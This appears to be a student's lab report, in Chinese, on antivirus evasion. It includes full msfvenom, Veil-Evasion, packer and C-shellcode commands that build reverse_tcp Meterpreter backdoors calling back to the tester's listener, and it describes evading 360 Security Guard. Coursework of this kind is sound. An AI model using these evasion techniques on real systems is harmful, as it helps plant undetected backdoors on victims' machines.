1. 实验内容
1.1 实践内容
-
正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 使用msfvenom生成jar、apk等其他文件
- 使用veil加壳工具
- 使用C+ shellcode进行编程
-
通过组合应用各种技术实现恶意代码免杀
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2问题回答
(1)杀软是如何检测出恶意代码的?
-
基于特征码的检测:将恶意代码存在特定的病毒数据库中,杀软扫描文件时候,会计算哈希值和病毒数据库中的特征码匹配,查看是否存在匹配项。
-
启发式检测:根据某些行为和带爬的片段异常性来判断文件是否具有恶意,启发式检测可以帮助识别
-
基于行为的检测:监控程序运行的行为,如对系统文件修改、网络通信等,识别恶意活动。
(2)免杀是做什么?
- 免杀技术,是指一种用于帮助病毒、木马等恶意软件避开被杀毒软件检测和清除的技术。这种技术通常涉及对恶意代码的加密、编码、变形、加壳等多种手段,以减少其被杀毒软件识别的可能性。
(3)免杀的基本方法有哪些?
-
加密和解密:将恶意代码进行加密,在执行时解密,以避免静态检测
-
利用漏洞:通过利用系统或应用程序的漏洞,避免被杀毒软件捕捉
-
动态生成代码:在运行时动态生成恶意代码,增加静态检测的难度
-
分离免杀:将ShellCode和加载器分离,通过远程读取或其他方式加载恶意代码
-
资源修改:修改文件的描述、版本号、创建日期等资源信息,以逃避特征码检测
2. 实验过程
和实验二一样,由于实验场景更换,本次实验的IP会有所变化
- 实验室环境
win主机IP: 192.168.3.43
虚拟机IP:192.168.56.105
- 教室环境
win主机IP: 172.16.221.239
虚拟机IP:192.168.56.105
2.1 任务一:正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msf编码器,并尝试使用msfvenom生成如jar之类的其他文件
2.1.1.1 熟悉VirusTotal的使用
此次实验主要使用的病毒扫描服为VirusTotal
VirusTotal是一个由谷歌旗下的Chronicle运营的免费在线服务,它提供了一站式的全面安全扫描和分析服务。用户可以通过VirusTotal检测URL、文件、IP地址和域名是否包含恶意软件、钓鱼网站以及其他安全威胁。
首先熟悉一下功能,现将实验二中生成的后门文件20222423_lpy.exe上传,查看扫描结果
- 可以看到免杀的效果很一般,很容易被检测出来
2.1.1.2 测试编码次数对免杀效果的影响
(1)编码一次测试结果
首先利用msf生成编码一次的后门文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.105 LPORT=2423 -f exe > 20222423lpy_s3.exe
/ x86/shikata_ga_nai:选择编码器,用shikata_ga_nai的编码方式对攻击载荷进行重新编码 /
/ -b:删除无效字符。-b ‘\x00’为删除’\x00’,因为'\x00'代表结束符,需要删掉。
随后将生成的文件传递给主机
PS:
-
文件传递的时候发现无法直接从虚拟机中复制粘贴到win主机端
-
后来忽然想到实验二中可以利用ncat将文件连接传递文件!
主机端进入ncat所在目录,输入:.\ncat -lv 2423 > 文件名
虚拟机端输入 : nc win主机的IP < 文件名
测试能够成功传递文件,后面传递文件也是这样,发现学到的东西能够立马用上,还是很惊喜的
然后回到实验,将刚才编码了一次得到的后门文件传递给VT测试效果
发现效果和前面的后门文件大差不差,免杀效果一般
(2)编码多次测试结果
这次尝试对后门文件编码12次,再测试免杀效果
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.56.105 LPORT=2423 -f exe > 20222423lpy_s12.exe
/ -i 12 代表编码12次 /
同样,将生成的文件上传给VT,测试效果
发现和编码一次的免杀效果基本没有区别,还是很意外的,可见编码次数对免杀效果影响并不大
2.1.1.3 使用msfvenom生成其他格式文件,测试免杀效果
2.1.1.3.1 生成.php文件
依旧使用msfvenom功能
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 x> 20222423lpyphp.php
检查免杀效果
发现/php文件的免杀效果竟然意外不错
2.1.1.3.2 生成.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 -f jar x > 20222423lpyjar.jar
测试免杀效果
相比前面的编码文件好一点,但还是一般
2.1.1.3.3 生成.py文件
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 -f x > pyth_20222423.py
检查免杀效果
python文件的免杀效果很不错,记住这一点,后面要用
2.1.1.3.4 生成.apk文件
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 -f x > apk_20222423.apk
再次检测免杀效果
效果还可以
-
综上,可一个不同格式的文件免杀效果稍微排个序
-
.py文件
-
.php文件, .apk 文件
-
.jar文件
-
由此可以看出,不同不同编程语言的payload对免杀效果是有一定影响的
2.1.2 使用veil工具
2.1.2.1 veil安装
这是非常考验耐心和毅力的一步,这一步算是整个实验中 最大的难点之一
注意,安装并配置的veil一定要保证网络是连通的!
首先检查是否有veil环境(大部分同学的kali应该是没有默认配置的)
然后依次输入下面的命令进行安装
apt-get install veil-evasion
/ 安装veil /
注意,veil所需要的空间还是很大的,安装前一定要看看自己存储空间是否充足,否则无法正常安装veil
这里还不算安装完,还需要下载其他有关依赖和软件
这里先需要修改一个克隆地址
cd /usr/share/veil/config
/ 进入setup.sh文件所在的目录 /
vim setup.sh
然后在setup.sh文件中不断向下翻找,找到这一行
将里面git clone内容改掉,改成下面的样子
sudo git clone https://gitee.com/spears/VeilDependencies.git
/ 更改克隆地址,git是国外的,所以连接的时候会比较慢,这里改为国内的gitee源 /
退出保存后再次输入veil,继续进行后续内容的安装
这里会安装好多软件和依赖,比如python、ruby等等,一路输入Y默认安装就行
这里出现python安装弹窗的时候,我的虚拟机界面就彻底卡死了,python安装弹窗怎么点都不起作用,这里veil的安装详细问题见后面问题与解决部分,比较麻烦
这个安装过程需要花费很久的时间,一定要有耐心,保证网络的连通
随后过了好久,等一系列东西安装完后,再次使用veil,如果出现下面的界面且不报错那就说明veil工具是成功安装上了
如果成功实现了这一步,那么实验后面的部分就相对会顺利许多
2.1.2.2 veil的使用
veil有两个免杀的工具,Evasion和Ordnance。Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
按照实验要求,我们选择文件免杀Evasion
use evasion
list
/ 查看可用的payload /
(1)用简单C文件
下面我们简单生成一个免杀文件,使用c/meterpreter/rev_tcp.py
use c/meterpreter/rev_tcp.py
# 或者
use 7
然后IP和端口配置
set LHOST 192.168.56.105
set LPORT 2423
/ 这里的IP和端口都是kali的 /
options
/ 查看详情 /
generate
/ 生成 /
然后生成文件,并且为文件输入名称
然后通过ncat将文件传到主机,检查免杀效果
可以看到,免杀的效果不是很理想
(1)用.py文件
在上一个步骤中验证了不同编程语言生成的文件免杀效果是不一样的,这里我们再次使用前面免杀效果最好的python语言测试一下
步骤和之前大差不差,这里除了payload选择需要换成 python/meterpreter/rev_tcp.py
端口、IP等配置和前面一样,这里不再赘述
传到主机,测试一下免杀效果
可以看到效果果然不错
2.1.3 使用加壳工具
为了控制变量,加密壳和压缩壳统一都对veil生成的第一个c文件也就是20222423lpy_veil.exe进行操作
2.1.3.1 压缩壳
用upx命令对文件加压缩壳
upx 20222423lpy_veil.exe -o 20222423veil_yasuo.exe
在拿到VT免杀测试
可以看到免密效果和之前未加压缩壳的效果基本一样
2.1.3.2 使用加密壳
将文件20222423lpy_veil.exe拷贝到hyperion目录下,
然后进入hyperion所在的目录
wine hyperion.exe -v 20222423lpy_veil.exe 20222423_veil_jiami.exe
等待一小会时间,生成文件
然后传到win主机测试免杀效果
效果不降反而增加了。。。
所以总体而看,使用加密壳还是压缩壳,对文件免杀效果影响并不大,其中加密壳的效果不降反而有所增加
2.1.4 使用C + shellcode编程
首先使用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 -f c
可以看到生成了一长传shllcode,将这一段buf 内容复制
然后新建一个.c文件
touch 20222423lpy.c
/ 新建.c文件 /
vim 20222423lpy.c
/ 编辑生成的.c文件 /
然后将刚才复制的buf添加到文件里,并在后面添加以下代码
保存退出,然后将.c文件进行编译,生成.exe文件
i686-w64-mingw32-g++ 20222423lpy.c -o 20222423shellcode_3.exe
随后将.exe文件传到win主机,测试免杀效果
看来这个效果也不算很理想
2.1.5 启动杀软,查看整体免杀效果
在前面一系列操作下,已经生成了许多文件,如下
下来启动杀软
杀软版本即工具如下
主机版本
启动木马查杀,看看最后结果
可以看到360还是很强大的,基本上生成的文件全都识别了出来
只有下面两个文件没有被扫描识别出来
2.2 任务二:通过组合应用各种技术实现恶意代码免杀
在2.1.1.3.3中,测试不同编程语言生成文件的免杀效果时,曾发现python语言编码出来得到的文件免杀效果很好
所以顺着这个思路,我想在使用veil的时候,生成免杀文件使用python文件编写的,效果应该会更好
启动veil
use evasion
use use python/shellcode_inject/aes_encrypt.py
这里我们选择使用第28个,也就是python + aes加密得到的.py免杀文件
generate
/ 生成文件 /
2
/ 这里选择第二个 /
windows/meterpreter/reverse_tcp
192.168.56.105
2423
/ 监听端口号 /
/ 文件名我是用了默认,所以直接回车 /
随后会生成.py文件
传给win主机时,我将文件重新改了名,结果如下
先将文件上传给VT,查看效果
可以看到文件免杀效果非常不错
然后启动360,选择按位置查杀
检查结果如下,发现没有检测出来
可见成功实现了文件和杀软共存的结果
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
主机版本:windows 10 家庭版
杀软版本:360安全卫士,版本13.0.0.2004
在kali端进入msf控制台,和实验二内容相似
msfconsole
/ 进入msf控制台 /
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.105
set LPORT 2423
exploit
然后再win端执行后门文件,先后测试连接
ls
sysinfo
可以看到成功获取了主机相关信息并且没有被360处理
至此,实验成功完成
3. 问题与解决方案
- 问题一:veil安装完后重启出现Can t find the WINE profile for Python v3.4错误
在完成将veil的setup.sh文件换源后,再次使用veil会继续安装veil其他相关软件依赖等,需要花费的时间比较长,一般来说,第一次安装完毕后输入veil时基本都会出现“Can t find the WINE profile for Python v3.4”类似这样的错误
一般而言,按照提示所给的输入
/usr/share/veil/config/setip.sh --force --silent
有一定概率可以解决这个问题,但是我输入后会一直卡在这一步
到这个界面后就没有任何动静,界面显示安装python但是我的kali中安装python的界面一直不出现
这个命令尝试了好多次,每次都会出现卡到这个界面,我有点怀疑是不是需要使用其他的方法
- 既然提示显示没有WINE,那么我就自己给kali安装一个WINE!
输入
apt-get install wine32
随后再次测试输入 veil,再次安装
这个时候报错变了,那么按照提示输入
/usr/share/veil/config/update-config.py
随后在输入刚才的
/usr/share/veil/config/setip.sh --force --silent
等待一阵较长的时间......
居然显示 DONE!,难道成功了吗(十分惊喜)
再测试输入veil
非常好,这个最艰难的veil安装终于成功了!
后来我查阅相关资料,大概知道了这个错误出现的原因
veil软件使用的wine包是32位的,但kali里面默认是只有wine64,二者不兼容,所以会显示找不到对应的WINE!
- 问题二:安装wine32时候出现错误
从上面的结尾分析不难看出,我们需要更改kali的结构,否则直接下载wine32是会出现错误的
dpkg --add-architecture i386
/ 更改架构 /
apt-get update
apt-get install wine32
/ 截图中我将上面两个命令合在了一起 /
随后就可以成功安装上wine32了
4. 学习感悟、思考等
-
首先,通过实验,我了解了免杀的基本原理,实现免杀有哪些方式,veil工具的使用,如何使用加壳工具对文件“保护”实现免杀,C + shellcode怎么实现免杀,还有使用VT等网站检测免杀效果等等。总而言之实验收获是丰满的,实验过程确实异常艰难地。
-
整个实验最大的难点之一就是veil工具的安装了,安装的时候不仅需要花费不少时间,而且veil需要的存储空间还特别大,幸亏我的虚拟机存储空间最初设定的时候比较充足,否则可能会出现安装到一半空间不够的情况。总之这个花了我好长时间,又通过搜集大量资料分析问题,最后也是成功的解决了veil安装失败的问题,也算是从另一个角度锻炼了我解决问题分析问题的能力吧。
-
实验的另外一个难点则是生成免杀文件和杀软共存,不得不说360安全卫士的保护能力确实强,第二部组合各种技术实现免杀我前前后后使用过 c + shellcode + 异或 +压缩壳, 编码 + 保密壳, c + 加密算法 + 解密等等技术生成文件,但无一例外都被360发现并清除,又花费了我不少时间,最后也是在前面注意到python编写文件的免杀效果不错最后测试才勉强能逃过360的“法眼”。不得不说这款杀软的功能还是很强大的。
-
另外就是进一步增强了我的信息安全保密意识,如果没有杀软、防火墙等等保护功能的存在,电脑很可能神不知鬼不觉的情况下就被攻击者攻击,获取信息等等。所以一定要养成安全保密意识,来路不明的程序不要下载运行,不明链接谨慎点,钓鱼邮件短信要留心